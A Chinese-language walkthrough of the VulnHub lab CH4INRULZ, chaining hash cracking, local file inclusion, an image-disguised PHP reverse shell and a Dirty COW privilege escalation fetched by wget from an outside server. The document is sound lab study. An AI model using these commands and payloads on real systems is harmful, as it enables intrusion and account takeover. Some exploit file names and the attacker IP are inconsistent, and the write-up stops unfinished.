环境搭建
vulnhub官网https://download.vulnhub.com/ch4inrulz/CH4INRULZ_v1.0.1.ova
下载好后直接拖进来,失败就再拖一次,成功部署后就是一个登陆界面
思路
nmap扫出地址并且得到四个端口,80和8011开放了Web服务,之后扫文件发现index.html.bak利用john爆破拿到账号密码,并且发现/development目录状态码是401需要密码认证,进去以后发现是一个文件上传的功能,转到8011端口这边发现文件包含漏洞。两者结合。找到文件上传的路径后利用php伪协议拿到uploader.php的源码,知道文件上传的路径后配合文件包含可以反弹一个shell。这里还用到了kali自带了一些反弹shell的脚本。拿到shell后开始提权:查看内核版本,直接脏牛提权,在利用40349.c之前自己还利用了40847.cpp和40838.c两个脚本提权的,但是失败了,40847.cpp在编译的时候需要g++,但是靶机里面没有g++,安装的话需要权限。40838.c编译成功并且执行了,但是好像没用,弹回来一个图片就没了。
渗透测试
kali地址192.168.64.255,扫同段所有地址,筛选选择
工具使用(kali linux 中 nmap msf cs docker Goby)
nmap -sP 192.168.64.0/24 //-sP :ping扫描(不进行端口扫描)
nmap -sV 192.168.64.130 //-sV:可以显示服务的详细版本
这里有80、8011两个web端口,21号ftp端口,22号ssh端口,访问80端口
并没有发现什么有用的地方,用御剑扫一扫
再用dirsearch扫
挨个访问基本都是NOTHING here , yet !
访问/index.html.bak,下载打开发现注释,这里应该是账号密码
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
这里用john爆破John the Ripper password cracker(参考密码破解—John the Ripper使用)
cd /home/kali/Desktop/vulnhub/john-1.8.0/src
make clean linux-x86-64 //根据自己系统版本选择
cd ../run
vim shadow.txt // frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
./john shadow.txt
得到密码也是frank!!!,但是这里得到账号密码有什么用,其实这里访问/development/会有登陆框,登陆成功显示
访问/development/uploader发现上传框
这里尝试上传图片发现上传成功,但也并没有给出路径或者其他提示
尝试上传php一句话,发现做了限制,会对图片头部及后缀名进行审核
虽然上传成功,但这里不知道路径也就没有能搞的地方了,所以先去:8011端口的web页面看一看,先用dirsearch扫
访问:8011/api发现4个php页面,但是只有files_api.php能够访问
提示要传file参数,这里尝试访问/etc/passwd
:8011/api/files_api.php?file=/etc/passwd
WRONG INPUT ! !尝试POST传参,发现成功读取
既然能进行任意文件读取,那么我们可以读取upload.php来获得文件上传路径,但是这里也不知道80端口文件路径。这里通过apache的配置文件/etc/apache2/sites-enabled/000-default
来获得
GET: :8011/api/files_api.php
POST: file=/etc/apache2/sites-enabled/000-default
知道upload.php文件路径后进行读取,这里发现没法直接读取,需要结合php伪协议读取uploader.php里面的内容
file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php
base64解密得到源码
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?
发现图片在/FRANKuploads/下,刚刚我们上传了一句话木马,这里直接进行文件包含并且上传参数
既然能进行包含并且能成功执行,那就再尝试反弹shell,这里用kali里面自带的php-reverse-shell.php文件,位于
/usr/share/webshells/php/php-reverse-shell.php
将IP地址修改成kali的地址和kali开启的监听端口,加上GIF89a图片头改为gif后缀进行上传
kali监听1234端口的同时利用:8011/api/files_api.php
进行文件包含,这里我用kali反复连不上,换到本机就连上了
这里有了www-data权限后再稳定一下bash
python -c 'import pty;pty.spawn("/bin/bash")'
继续提权。查看内核版本信息,可用脏牛直接提权
将40839文件复制到桌面,开启一个http服务(也可以在网上找已经放好了个链接)
cp /usr/share/exploitdb/exploits/linux/local/40839.c ~/Desktop
python -m SimpleHTTPServer 8848
让靶机从kali上下载40839.cpp文件(这里还是不行,所以我把扔到服务器上),提示不能写入,权限不够
查看各个目录的权限
我们将40839.cpp下载到/tmp目录下
wget http://vulhub.yster.live/40839.c
编译执行,拿到用户名firefart输入新密码
gcc -pthread 40839.c -o dirty -lcrypt
未完